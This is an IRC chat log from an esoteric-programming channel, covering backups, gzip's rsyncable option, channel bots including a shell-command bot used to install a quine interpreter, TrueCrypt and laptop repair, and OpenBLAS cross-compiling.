20:35:54 <mroman> so hard i have an A in discrete mathematics and cryptography
20:36:34 <mroman> which means those courses are really, really, really, easy
20:36:38 <elliott> that was the worst set up to a humblebrag, dude.
20:37:10 <zzo38> Is "humblebrag" even a real word?
20:37:12 <fizzie> I'm not sure how well rdiff-backup reverse-diffs would work without uncompressing the dump. It can internally compress the increments, but I don't think it can deal with changing compressed files terribly well. I mean, it's no zsync.
20:37:46 <mroman> It's just meant to say: Getting an A around here is incredibly easy and doesn't say shit about your skill
20:38:21 <elliott> zzo38: it is on the internet, at least.
20:38:38 <elliott> fizzie: I meant uncompressing the dump, yeah. (can you use zsync to restore old revisions? I guess you must be able to)
20:38:53 <mroman> half of the class got an A on their bachelor thesis
20:39:03 <mroman> so they're really handing those A's out in masses
20:40:08 <fizzie> elliott: I didn't see anything about that use case on its page, but I think it should work in theory.
20:40:23 <elliott> yeah, I mean can the tool do it.
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20:53:35 <pikhq> fizzie: It probably can if it's being compressed with gzip --rsyncable at least.
20:58:33 <fizzie> Now I wonder if "gzip --rsyncable" is just the usual rolling-hash-N-bits-zero kind of thing, or something else.
20:59:36 <fizzie> Or maybe it just resets at fixed offsets, but that doesn't sound like it'd help if the small change is an addition or deletion inside the file.
21:05:38 <fizzie> It's the former, apparently.
21:06:06 <Vorpal> fizzie, is that a new option? man gzip doesn't document that here
21:06:20 <fizzie> It's not part of upstream gzip at all, it seems.
21:06:25 <fizzie> Debian includes it as a patch.
21:06:42 <Vorpal> And the debian man page lacks info on it
21:06:53 <fizzie> Mine does document it. Perhaps it's new.
21:07:14 <fizzie> gzip (1.6-1) unstable; urgency=low; * restore rsyncable docs to man page, closes: #688305
21:07:18 <Vorpal> --help has it, but man doesn't
21:07:49 <Vorpal> By the way, what are you trying to do?
21:08:27 <fizzie> Nothing in particular, this was just about archiving the esolang wiki backups.
21:10:24 <fizzie> (Maybe I should look into adding incrementals to my own weekly scheduled esowiki backup also, currently it's just a rsync + mysqldump overwriting the local copy.)
21:11:18 <elliott> fizzie: I still think you should offer the complete mysqldump signed by/encrypted to yourself.
21:11:36 <elliott> that way handover is a lot easier if something horrible happens.
21:11:57 <elliott> and you can restore the full wiki elsewhere even if the hosting provider goes totally down.
21:13:29 <Vorpal> xfs is a strange file system on Linux. It does a lot of stuff on it's own. I was reading up on how disk quotas work under Linux. There seem to be two cases: xfs, and all other (supported) file systems. Same goes for file attributes.
21:14:56 <fizzie> elliott: I'll think about that too, though if it's horrible enough to wipe the triplicate copies I have stored locally, there's perhaps no reason to assume I'll be around to open any encrypted files either.
21:16:07 <fizzie> Maybe the Long Now Foundation could help in some form.
21:17:00 <elliott> fizzie: you could put the private key for decrypting it in escrow with a dead man's switch service that sends it to some trusted person if you're gone for too long! (but keep the signing key private)
21:17:08 <Vorpal> fizzie, You should encrypt so that if 3 out of 7 key holders are available it can be decrypted or something
21:17:28 <elliott> you need a fancy key signing ceremony like they did for the dnssec thing
21:17:52 <elliott> hereby volunteering to be a Key Keeper, no matter what danger it places me in
21:18:03 <fizzie> And dodge the assassins.
21:18:28 <pikhq> The DNSSEC keys get renewed on a regular basis. :)
21:18:47 <fizzie> I hope it involves robes.
21:21:01 <coppro> elliott: please, it's keymaster and gatekeeper.
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21:22:26 <elliott> or keymasters, come to think of it
21:26:19 <pikhq> fizzie: It's rolling-hash-N-bits-zero thing.
21:26:38 <pikhq> Y'know, the simple implementation that's actually effective.
21:26:52 <fizzie> Yes, with a sum as the hash function; I peeked at the source.
21:27:16 <pikhq> Yeah, that's the rsync hash IIRC.
21:31:31 <pikhq> Vorpal: Huh, why is XFS weird like that?
21:31:40 <pikhq> Aside from being a bit of an import to Linux.
21:33:52 <elliott> fizzie: you should store the backups in the blockchain
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22:04:45 <TieSoul-mobile> So it seems someone managed to DoS dootbot on another channel
22:04:46 <DootBot> TieSoul-mobile: DOOT DOOT!
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22:12:00 <zzo38> Do you know much about compiler optimizations?
22:14:26 -!- aloril has joined.
22:17:28 <zzo38> I am writing an optimizing Z-code compiler, so I ask such thing.
22:17:30 <DootBot> TieSoul-mobile: DOOT DOOT!
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22:18:15 <elliott> can't you just quit the process yourself?
22:18:46 <elliott> kicking it won't make your computer accessible
22:18:54 <elliott> since it'll still be running and stuff.
22:19:19 -!- elliott has kicked DootBot.
22:19:30 <elliott> see, I was imagining someone managed to completely freeze your computer over IRC.
22:19:34 <elliott> and you had to scramble onto your mobile
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22:22:00 <TieSoul-mobile> So I'm thinking about having DootBot only recognize strings instead of regexes for its s/regex/replacement function, or just disabling it.
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22:49:37 <zzo38> Do you know if Briscola Bastarda is based on Napoleon?
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23:27:26 <oerjan> <impomatic_> I think the Codu logs are still down :-( <-- given that glogbot hasn't been here for days...
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23:34:07 <fizzie> There's at least a Befunge bot here, to continue the topic from over there.
23:34:25 <fizzie> Do we have any other written-in-esolang bots at the moment?
23:35:09 <fizzie> Haven't seen Thutubot in a long while.
23:37:54 <fizzie> Actually, where's fungot?
23:38:31 * oerjan wonders what ankadagen is
23:38:35 -!- fungot has joined.
23:38:46 <oerjan> fungot: have you been off scheming again
23:38:46 <fungot> oerjan: software development in brainf*ck hurts my brain less to write something in funge that changed a funge interpreter with bignum cells" section title and all.
23:39:00 <fizzie> oerjan: Is it some sort of a duck day?
23:39:09 <Hjulle> oerjan: Anka is my nickname and Dagen is my former roommates nickname
23:39:09 <oerjan> presumably, but which duck
23:39:24 <HackEgo> Hjulle: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
23:39:38 <fizzie> fungot: That was remarkably coherent, at least initially. Are you feeling quite all right?
23:39:39 <fungot> fizzie: and this language is more-or-less a souped-up minsky machine.
23:40:17 <oerjan> Hjulle: so are you more like kalle or more like arne?
23:42:25 <oerjan> fungot: why do you need to soup up minsky machines, they're already TC
23:42:25 <fungot> oerjan: mit-scheme is just a good cigar or a whole scheme system? probably. might be useful for
23:42:45 <oerjan> fungot: i knew it, you _have_ been scheming, you rascal!
23:42:46 <fungot> oerjan: the same for interactive and scripting use that for coordination languages"
23:42:54 <fizzie> fungot: I think it's more a Scheme system than a good cigar.
23:42:54 <fungot> fizzie: that's what wheel mice are for fnord
23:43:14 <fizzie> I'm going to end up on some sort of a watch list due to that bot, I'm sure.
23:43:43 <Hjulle> oerjan: Nither, I'm just an ordinary duck.
23:43:55 <fungot> TieSoul-mobile: if the course is called " boxing" means something like ' taalla taas olisi fnord mutta fnord fnord, forcer.
23:43:59 <oerjan> it's ok there's no way they'll be smart enough to prevent fungot from taking over the world anyway
23:44:00 <fungot> oerjan: it is aimed at anyone, in principle you need to declare a new hypothesis. it is actually
23:44:26 <oerjan> where's boily and metasepia when you need them
23:44:26 <fizzie> TieSoul-mobile: I think it's the kind of mouse that runs in a hamster wheel.
23:46:24 <oerjan> TieSoul-mobile: i think mice had wheels before they invented lasers hth
23:46:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
23:47:01 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
23:47:17 <oerjan> elliott: see, your script is working. also, 3000 rep.
23:47:37 <elliott> oerjan: now go for ten times that :)
23:47:42 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing.
23:48:15 <zzo38> I don't like the scroll wheel in the mouse though, it is scrolled too much accidentally; sometimes I want to just touch middle button instead though and it might scroll too much when I tried
23:48:17 <Hjulle> What is fungot written in?
23:48:17 <fungot> Hjulle: if i have xscheme.el and xscheme.elc by the new one :) ( confused me the first 3 properly
23:48:41 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
23:48:49 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
23:49:04 <HackEgo> :-( \ 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ moop.txt \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ unpa \ UNPA \ Wierd \ wisdom \ wisdom.pdf
23:49:24 <HackEgo> cat: quines: Is a directory
23:49:45 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: cd: not found
23:49:52 <fizzie> TieSoul-mobile: If you're going to do an excessive amount of stuff, it's possibly preferrable to do it in a query.
23:49:55 <oerjan> sadly our quine command broke when HackEgo moved
23:49:58 <fizzie> You can then do the interesting parts here.
23:50:43 * oerjan points at TieSoul-mobile. "noob!"
23:50:54 <oerjan> TieSoul-mobile: aka /msg
23:51:53 <oerjan> irssi calls it /query for some reason, although /msg works as well, i think they can be set up to work slightly differently
23:52:37 <zzo38> oerjan: Then what is the difference?
23:53:08 <fizzie> They're quite different. I don't think plain /msg will actually open a query.
23:53:21 <fizzie> Perhaps that depends on settings, though.
23:54:03 <fizzie> Ah, it's the autocreate_own_query setting.
23:54:22 <oerjan> fizzie: for me plain /msg opens a window. although i see for /query the actual message is optional.
23:54:45 <fizzie> And if you disable autocreate_own_query, it will not open a query but just send a message.
23:55:16 <oerjan> zzo38: ok so /query opens a window and optionally sends a message, while /msg sends a message and optionally (with settings) opens a window.
23:55:41 <oerjan> i have /^msg which does not open a window, though.
23:56:04 <oerjan> (i use it with my chanserv op alias.)
23:56:09 <zzo38> The client I use supports neither command; it currently has no support for multiple windows anyways
23:56:28 <fizzie> Having a /query command dates back at least to ircII.
23:56:47 <oerjan> back when i used ircII i only used one window, anyway, iirc
23:57:08 <zzo38> Does ircII support multiple windows anyways?
23:57:39 <oerjan> 't remember if it supported them, if so i never found until changing to irssi which does it obviously.
23:57:46 <fizzie> I don't remember ircII's window handling; I'm pretty sure it supports having multiple items (channels, queries) you can swap between.
23:58:04 <fizzie> EPIC did windows, I'm pretty sure.
23:58:40 <oerjan> TieSoul-mobile: as for `cd quines, HackEgo as no permanent shell state between commands, so if you do cd, you need to do the rest of your commands in the same line.
23:59:14 <oerjan> also, for actual shell commands you must use `run or ``
00:00:13 <fizzie> Googling for ircII help files suggest it does windows.
00:00:32 <fizzie> I wonder if my .ircrc is still somewhere.
00:01:06 <oerjan> `run cd quines; ls # you can do this, but it won't remember where it was until the next command line
00:01:06 <HackEgo> cat \ perl \ python \ q \ ruby
00:01:57 <fizzie> In other news, having all those (except q) be the trivial empty-program quine makes for a p. poor showing.
00:02:03 <fizzie> Unless it's that way "ironically".
00:03:31 * oerjan finds .ircrc from 2006 and .ircrc.old from 1998
00:05:06 <HackEgo> âELF............>.....°@.....@.......Ð..........@.8..@.........@.......@.@.....@.@.....À.......À............................@......@............................................@.......@.....¬......¬........ ............°......°`.....°`.................... ...........Ø......Ø`.....Ø`..... ....... ................
00:05:34 <oerjan> `fetch http://oerjan.nvg.org/esoteric/slashes/quine.sss
00:05:39 <HackEgo> 2014-08-24 23:03:22 URL:http://oerjan.nvg.org/esoteric/slashes/quine.sss [1497/1497] -> "quine.sss" [1]
00:06:04 <oerjan> `run mv quine.sss quine/slashes
00:06:05 <HackEgo> mv: cannot move `quine.sss' to `quine/slashes': No such file or directory
00:06:14 <oerjan> `run mv quine.sss quines/slashes
00:06:26 <oerjan> there, now there's at least one interesting one *cough*
00:08:21 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
00:08:47 <Hjulle> This is definitely a channel i will stay in. Although it will probably reduce my productivity. ;)
00:09:10 <oerjan> `fetch http://oerjan.nvg.org/esoteric/slashes/ircslashes.pl
00:09:18 <HackEgo> 2014-08-24 23:07:01 URL:http://oerjan.nvg.org/esoteric/slashes/ircslashes.pl [566/566] -> "ircslashes.pl" [1]
00:09:49 <oerjan> `run chmod +x ircslashes.pl; mv ircslashes.pl bin/slashes
00:10:00 <oerjan> `slashes quines/slashes
00:10:01 <HackEgo> /\/\/\/\\\\/\\\\\\\/\\\\\\\/\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\//\/\/\/\\\/\/\\////\\////\\\///\\////\\\///\\////\\\///\\////\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\//
00:10:50 <oerjan> note that is not the whole program, which won't fit on an irc line.
00:11:40 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:11:43 -!- boily has joined.
00:12:30 <oerjan> that's not proper protocol
00:13:01 <HackEgo> PID TTY TIME CMD \ 286 ? 00:00:00 init \ 288 ? 00:00:00 sh \ 290 ? 00:00:00 ps \ 291 ? 00:00:00 cat
00:13:31 <boily> hellørjan? why isn't it propotocol?
00:13:54 * boily has a sudden enlightenment moment.
00:14:08 <boily> minus boily. indeed, it ain't protocorollary.
00:15:37 <zzo38> Hjulle: Well, there can be good thing to read in this channel much, especially if you like esoteric programming and related things such as mathematics and other computer programming, but also many other things too. So, good you can stay. OK
00:16:04 -!- Phantom_Hoover has joined.
00:16:29 <oerjan> Phantom_Hoover: please leave, nature abhors a vacuum
00:17:09 <oerjan> wait, you haven't been here longer than that?
00:17:13 <zzo38> No, don't please leave if you do not like to leave. But if you do like to leave, then, yes please leave right away
00:17:16 <Hjulle> zzo38: It seems like a lot of fun and not that much of the boring productive stuff that infests the other channels.
00:17:45 <oerjan> we're definitely good at avoiding boring productive stuff
00:17:46 <zzo38> Hjulle: Yes, it can certainly be.
00:18:12 <boily> Hjulle: have you read the PDF in the /topic? ↑
00:18:52 <oerjan> or the wiki, of course
00:18:55 <zzo38> Or the esolang wiki?
00:19:07 <oerjan> (don't worry, i haven't read any of them all through either.)
00:19:27 <oerjan> although i was around for when a great part of it was made, i guess.
00:19:34 <Hjulle> I've spent a lot of time reading the esolang wiki
00:20:31 <boily> also, any idea involving esolangs and vegetables are mine. quintopia can vouch.
00:21:43 <oerjan> boily: what a bunch of horseradish
00:21:44 <Hjulle> I've submitted competative bf solutions to code golfing challanges at codegolf.stackexchange.com too.
00:22:50 <zzo38> Have you seen the anarchy golf though? It is the code golf made by Japanese people.
00:23:03 <Hjulle> I was surprised that it actually was of similar length to other contributions.
00:23:41 <elliott> oerjan: I've been here like 7-8 years. that's so weird.
00:23:42 <boily> how does one anarchycally golf?
00:24:13 <elliott> oerjan: soon I'll be 20 and old.
00:24:32 <boily> elliott: you're not 20????????6?????pointd'interrogation6???
00:24:44 <Hjulle> (Except for it being too mainstream) ;)
00:24:46 <boily> fungot: why does bf suck?
00:24:48 <oerjan> myname: you are confusing bf with its derivatives hth
00:24:52 <elliott> how old did you think I was?
00:25:05 <boily> elliott: late twenties?
00:25:10 <myname> oerjan: that whole stuff alltogether
00:25:21 <elliott> people thought I was early-mid twenties when I was 10-11. I don't get it.
00:25:24 <myname> aldo, i don't think bf deserves its name
00:25:35 <Bike> should have coated ur messages in snot
00:25:43 <elliott> Bike: I did, more or less.
00:25:58 <Bike> was it less snot because that won't work, ou need more
00:26:15 <Hjulle> Yes, its more tedious than difficult to program in BF.
00:27:01 <boily> you should implement feather.
00:27:07 <elliott> Bike: do I look like some kind of fountain of snot to you?
00:27:21 <Hjulle> Where else would you hear that a language sucks because it's too easy to program in? =D
00:27:22 <Bike> well, you did when you were eleven, probably
00:27:23 -!- elliott has set channel mode: -o elliott.
00:27:26 <Bike> seeing you through my timeoscope
00:27:29 <elliott> boily: how old are you, anyway?
00:27:31 <oerjan> elliott: and people keep guessing i'm something like ten years younger than i am, and have for a while.
00:27:57 <oerjan> although that's based on visual appearance, i think
00:28:01 <elliott> oerjan: I guess I am approaching the age where being mistaken for younger will be a compliment.
00:28:12 <boily> Bike: I have completed two elevenses already!
00:28:27 <elliott> oerjan is 48, 49, 50, I think?
00:28:42 <elliott> please don't let me be wrong. I can't take the swatting.
00:28:54 <elliott> no, wait, you're early 40s. ...are you? aaaaa
00:29:34 <pikhq> Don't worry, all that happens when you hit 20 is you start IRCing less.
00:30:02 <zzo38> How closely can you guess someone's age if you know the aspects between planets (not counting sun and moon, which aren't planets anyways) at the time of that person's birth?
00:30:25 <zzo38> (With exact coordinates you can do a search, but here there are no exact coordinates.)
00:30:48 <Bike> within eleven years
00:31:08 <pikhq> elliott: No reason.
00:31:21 <zzo38> Also, what is it called if a poker game has spread limit before the flip and pot limit after the flop?
00:31:33 <elliott> pikhq: I expect my life to contain ample time for IRC for at least the next few years.
00:31:50 <zzo38> Do you ever print out the IRC?
00:32:16 <Bike> elliott's gonna be sad when MI6 come along and force a move to Somaliland
00:32:20 <oerjan> zzo38: it's not exactly the same, but i recall the people following xkcd's "time" story calculated the date > 10000 years in the future when it likely happened based on the positions in the sky shown in the night scene
00:33:03 <elliott> pikhq: what could possibly be a more important use of time, after all?
00:33:31 <oerjan> of course that was with the assumption that randall munroe had made it accurate. he certainly had _tried_ to.
00:33:34 * pikhq looks at girlfriend
00:33:43 <zzo38> oerjan: Ah, OK that is of some interest at least.
00:34:24 <boily> I got my girlfriend through the previous job's intranet IRC channel, so I don't see how the two can conflict...
00:34:28 <elliott> pikhq: only an amateur lets that interfere with IRC time.
00:34:39 <Bike> an amateur girlfriendhaver
00:34:42 <elliott> don't you have priorities?
00:36:04 <oerjan> Bike: you know somaliland has _excellent_ mobile service, right?
00:36:15 <oerjan> (at least that's what i read.)
00:36:19 <Bike> who uses irc on mobile
00:36:25 <Bike> what do you take elliott for
00:36:32 <oerjan> elliott has done so before
00:36:56 <elliott> I've managed to be the top talker in here with only 4 hours on an iPhone a day before.
00:37:13 <elliott> I doubt I'm near the top these days.
00:37:57 <oerjan> `addquote <boily> I got my girlfriend through the previous job's intranet IRC channel, so I don't see how the two can conflict...
00:37:58 <HackEgo> 1215) <boily> I got my girlfriend through the previous job's intranet IRC channel, so I don't see how the two can conflict...
00:38:11 <boily> and there we go...
00:38:21 <oerjan> it's been too long since you had an update
00:38:45 <elliott> pikhq: you could hire me to IRC for you when you're too busy with less important things.
00:39:03 <boily> oerjan: had I missed some lately?
00:39:10 <pikhq> There's also the "people pay me to go to an office 8 hours a day" thing.
00:39:31 <boily> (meanwhile, dropbox is synching.)
00:40:20 <elliott> pikhq: and that's higher-priority than IRC to you?? you can IRC from an office!
00:40:44 <pikhq> I need money to live! ... and pay for video games
00:40:47 <pikhq> oh so many video games
00:41:47 <oerjan> boily: i think it was your job to know that stuff. the repository is thataway.
00:42:18 <boily> I surrepticiously looked at the repo. it wasn't addquoted in a long time.
00:42:45 <oerjan> y'all aren't being funny enough
00:43:13 <int-e> you don't pay us enough
00:44:06 <boily> I can't be funny. nor any emotion right now. I'm home from the otakuthon, where I was one of the event hosts.
00:44:22 <oerjan> @tell mroman <mroman> This action has been automatically identified as harmful, and therefore disallowed. If you believe your action was constructive, please inform an administrator of what you were trying to do. A brief description of the abuse rule which your action matched is: an edit to a user page makes it start with an h2 tag <-- that was a heuristic that caught a lot of spambots but very few others
00:44:32 <boily> I'm completely drained, only a hollow shell of my past self.
00:44:55 <boily> (speaking of hollow shells, my estomac is empty. time to food...)
00:45:08 <oerjan> boily: a ghost in the shell, check
00:45:34 * oerjan should admit to only knowing the name of that
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00:46:20 <oerjan> i'd food if i could get through the logs
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00:46:48 <boily> J_Arcane: why? it's the most bestest browser!
00:46:53 <elliott_> seeing yourself quit is uncanny.
00:47:30 <J_Arcane> boily: 45 threads and .75GB on idle isn't really "best" in my book. :P
00:47:48 <J_Arcane> But as Chrome/Chromium seems to get more evil with every update ...
00:47:54 <quintopia> zzo38: oh i was referring to your poker variant. i think i would like it better without drawing and with more community cards though.
00:47:58 <myname> firefox is the only one of the main browsers with a decent vim-like interface
00:48:14 <zzo38> quintopia: O, well, soon after I wrote it I thought, there is too much drawing, too.
00:48:36 * boily needs his daily pentadactyl fix.
00:49:05 <quintopia> i need to think of a name for a blog
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00:49:09 <zzo38> So instead when there are two exposed cards you cannot draw anything, and when you have three exposed cards you are not allowed to exchange more than one card.
00:49:31 <zzo38> quintopia: Perhaps, "quintopia blog" can be?
00:49:55 <J_Arcane> myname: I tried firemacs, but I just kept fighting muscle memory. I was gonna install conkeror, but 1) it hasn't been updated in a year, and 2) it won't build on FreeBSD.
00:49:55 <zzo38> Unless it is actually about something, in which case, don't call it that.
00:50:20 <quintopia> zzo38: it will be about math and computer science and education and who knows what all. not a personal blog.
00:50:43 <zzo38> Then call it "math and computer science and education and who knows what all blog".
00:50:51 <mauris_> "probably magic" is a good blog title
00:50:52 <zzo38> Then call it "math and computer science and education and who knows what all blog and probably magic too".
00:50:59 <quintopia> it's going to be hard to fit all that in a subdomain name though
00:51:04 <boily> “Magic More Magic”
00:51:17 <zzo38> Then abbreviate it to make up the domain name.
00:52:18 <myname> "upside down double-u upside down double-u upside down double-u dot quintopia dot com"
00:52:40 <quintopia> zzo38: how about you can only draw on the first round, immediately after exposing a card, and you can draw up to four. after that, you're stuck with what you have. this incentivizes exposing your best card on the first round.
00:52:56 <zzo38> quintopia: Ah, yes that can be good.
00:56:50 <zzo38> And, perhaps adding a second community card (not dealt at the same time) can also help, then you have seven cards with which to make up your hand.
00:58:00 <J_Arcane> Oh FFS. Twitter filters your own bloody timeline unless you turn off personalization, which you can't do if you've set Do Not Track ...
00:58:18 <oerjan> quintopia: just call it mathemagical themas HTH
00:58:30 <zzo38> oerjan: But I think there is already a book called that isn't it?
00:58:41 <oerjan> trust zzo38 to ruin the joke
00:58:51 <int-e> J_Arcane: here's the right question: "How can you personalize my timeline if you're not tracking me?"
00:59:01 <zzo38> J_Arcane: Can you tamper with the cookies and headers to fix it somehow?
01:00:37 <oerjan> cookie tampering is a capital offense in china hth
01:00:55 <oerjan> it's all the food scandals, you see
01:01:10 <int-e> oh I thought you meant personalized fortunes
01:01:29 <int-e> rather than, you know, random ones
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01:02:56 <J_Arcane> zzo38: No idea. I'm just trying to find a stupid code snippet I don't think I saved anywhere else because I didn't think I'd need it. I posted it on FB too, but of course that means scrolling my entire history ...
01:04:25 <myname> why the hell do you post stupid useless code on facebook?
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01:07:36 <int-e> why the hell do you post on facebook?
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01:08:29 <J_Arcane> myname: it was when I was learning Racket. I'd figured out how to write my own for loop. Never saved it anywhere else because why the hell do I need to know that, you know?
01:08:46 <J_Arcane> int-e: familial and friend inertia ...
01:10:24 <int-e> rhetorical question.
01:16:01 <quintopia> zzo38: it's called metamagical themas hth
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01:16:29 <quintopia> zzo38: i like the idea of an extra community card though
01:17:08 <oerjan> mathemagic was something else
01:21:37 <quintopia> then by the last round you have two community cards and three exposed cards and two hidden cards, which is the same number of exposed/hidden cards each player has in texas hold-em
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03:06:16 <zzo38> Do you know that in Z-machine, if you want to write a number outside of the range 0 to 255 into a variable, use of the BCOM (bitwise complement) instruction will be shorter than using the SET instruction meant for this case? This is only in ZIP and EZIP. In XZIP, it is only true if the number to write is in range -256 to -1.
03:08:21 <zzo38> Furthermore in XZIP, you can make it four bytes if the number is in range 256 to 510, or if it is a positive composite number that can be written as a product of two numbers in range 2 to 255.
03:09:06 <zzo38> (In all other cases it will be five bytes long.)
03:16:14 <Sgeo> ( (`the` Int) 5
03:16:17 <zzo38> This means a compiler that targets XZIP will need to include the function to factor numbers.
03:16:33 <zzo38> (If it is going to optimize.)
03:20:14 <lambdabot> Not in scope: ‘the’Not in scope: data constructor ‘Int’
03:20:15 <lambdabot> ‘In’ (imported from Lambdabot.Plugin.Haskell.Eval.Trusted),
03:20:15 <lambdabot> ‘InR’ (imported from Lambdabot.Plugin.Haskell.Eval.Trusted)
03:20:42 <shachaf> Can you even pass the argument that way?
03:48:37 <int-e> eww, when did the DOM inspector lose its menu bar
03:50:57 <int-e> and how do I inspect an xul window now. grrrrr
03:52:13 <int-e> Sorry, I'm being stupid. There's now an "Inspector" and a "DOM inspector". I mistook the former for the latter.
03:53:10 <oerjan> just be wary if any of them start speaking in a fake french accent.
04:08:32 <Sgeo> ( the ((a : Type) -> a -> a) the
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05:59:24 <Sgeo> Does anyone know what's actually going on with TrueCrypt? It's been a while, maybe something new happened
06:03:24 <Jafet> I made three backup copies of 7.1a.
06:11:02 <Sgeo> Is TrueCrypt (7.1a) likely sufficient to protect my data if I send in my laptop for repairs?
06:12:25 <zzo38> To be more careful, remove the harddrive if possible.
06:12:59 <shachaf> I sent in my laptop for repairs and after repairs Dell sent it back to someone in Tennessee.
06:13:05 <shachaf> Fortunately I had removed the hard drive.
06:17:26 <Sgeo> I think if I was capable of removing hard drive I would be capable of fixing issue myself...maybe?
06:17:32 <zzo38> If you want to be even more careful, run memtest86 after removing the hard drive, if it is still capable of running memtest86! (This should eliminate the possibility that someone can somehow recover it from the RAM.)
06:17:43 <Sgeo> (I think loose connection to monitor)
06:18:45 <Sgeo> (On many angles, some grey images become kind of blue)
06:20:23 <zzo38> Is it possible in C for a variable marked as "register" to use address of operator?
06:23:49 <fizzie> "The operand of the unary & operator shall be either [...], or an lvalue that designates an object that is not a bit-field and is not declared with the register storage-class specifier."
06:24:56 <coppro> register is a stupid storage class
06:25:33 <coppro> Sgeo: *definitely* do not send your hard drive away for repair
06:25:56 <coppro> Sgeo: If you absolutely cannot avoid it, make sure you have a backup and then thrash the disk if you don't want people accessing its contents
06:27:47 <fizzie> typedef is the stupidest storage class, because it's only a storage class for syntactic convenience.
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06:44:03 <elliott_> 06:16:44 <Sgeo> (On many angles, some grey images become kind of blue)
06:44:06 <elliott_> sounds more like you bought a TN panel
06:44:30 <elliott_> coppro: sending an encrypted drive is just fine, if you have a backup
06:47:16 <coppro> elliott_: yes, but not if you're trying to encrypt to hide data
06:47:27 <coppro> if it's been encrypted since the start, sure
06:47:46 <elliott_> coppro: any encryption software worth its salt is not going to leave a trace of the original data.
06:49:35 <coppro> *elliott_: Not on the first read. But it seems pointless to thrash a disk before encrypting as a routine measure, since usually you format a new filesystem as encrypted rather than encrypting an exisiting one.
06:50:08 <elliott_> anyone who releases encryption software that encrypts an existing drive while making it feasible to access the original data is a charlatan
06:50:24 <elliott_> I don't think the truecrypt developers are /that/ incompetent, but I don't know; I don't use it.
06:50:42 <coppro> but a) that's not the normal usecase and b) encryption has many uses other than to hide data
06:51:02 <elliott_> (a) sure it is. common advice is "hey, get truecrypt and encrypt your drives! encryption is good!"
06:51:22 <elliott_> (b) TrueCrypt cares a hell of a lot about hiding data. see the hidden volume stuff etc.
06:51:36 <coppro> yes but your discussion of encryption software was general
06:52:51 <zzo38> What kinds of compiler optimizations are most common and which are most useful?
06:54:50 <Sgeo> elliott_: I don't mean angle I view it, I mean angle of the monitor to the base
06:55:05 <zzo38> One thing I want to make it to do is to try to group instructions together in order to allow further optimizations to be performed.
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08:04:00 <HackEgo> [wiki] [[ROT13 encoder/decoder]] http://esolangs.org/w/index.php?diff=40338&oldid=8014 * Rdebath * (+26) Zombie link
08:13:30 <olsner> Sgeo: I had a laptop with a similar problem, whacking the display on the side would fix it for a while
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09:46:47 <fizzie> I told OpenBLAS to DYNAMIC_ARCH=1 expecting it to, I don't know, maybe build both SSE and non-SSE versions, but instead it compiled separate copies for every particular microarchitecture it knows of.
09:46:53 <fizzie> Now I have a 26-meg BLAS library.
09:48:54 <Deewiant> If you're building it for x86-64 you've already got SSE and SSE2 guaranteed
09:55:09 <Jafet> CFLAGS="-march=native"
09:55:17 <fizzie> And it's not going to be used on this computer.
09:55:52 <Jafet> Live on the edge, the bleeding edge
09:56:00 <Jafet> Doesn't gmplib do something similar
09:58:49 <fizzie> Perhaps, but this knows of P2 KATMAI COPPERMINE NORTHWOOD PRESCOTT BANIAS YONAH CORE2 PENRYN DUNNINGTON NEHALEM SANDYBRIDGE ATOM ATHLON OPTERON OPTERON_SSE3 BARCELONA SHANGHAI ISTANBUL BOBCAT BULLDOZER SSE_GENERIC VIAC3 NANO when building for x86.
10:00:59 <fizzie> Yes. But I think it was building them all even when building for x86-32.
10:01:16 <fizzie> It's not like they wouldn't run 32-bit binaries, after all.
10:01:36 <Deewiant> I wonder if all the latest instruction set extensions also work in 32-bit mode, I guess they do
10:01:49 <Jafet> Who wouldn't want blazing fast linear algebra on via chips
10:02:51 <fizzie> At any rate, I did TARGET=P2 (hopefully quite generic) without DYNAMIC_ARCH=1 now, to save time when testing this build system stuff, and it failed with bazillion "undefined reference" errors for symbols matching _[sc]gemm_i[tn]copy.
10:03:16 <Jafet> I suspect that target is not tested very often
10:03:49 <Deewiant> SSE_GENERIC not lowest-common-denominator enough?
10:04:03 <fizzie> It's listed under the "VIA chips" group, but perhaps it could be.
10:04:07 <Jafet> Those µarch names don't match gcc's, so they must be from some internal database.
10:04:35 <fizzie> I don't know what's the best accepted practice for building this library when the use case is "we'll be giving a binary containing it to some random people to test on their random home computers".
10:05:06 <Deewiant> TARGET=SANDYBRIDGE and give them a nickel if they can't run it on their current home computers
10:05:08 <Jafet> "Tell them it'll only work on Windows Vista or later"
10:08:12 <fizzie> Heh. I tried to do the same thing with TARGET=SSE_GENERIC and now it crapped out with "/usr/bin/i686-w64-mingw32-ar: sgemm_kernel.obj: No such file or directory".
10:08:37 <Deewiant> Ah right, you're cross-compiling too
10:08:43 <Deewiant> Was the 26-meg one so bad? :-P
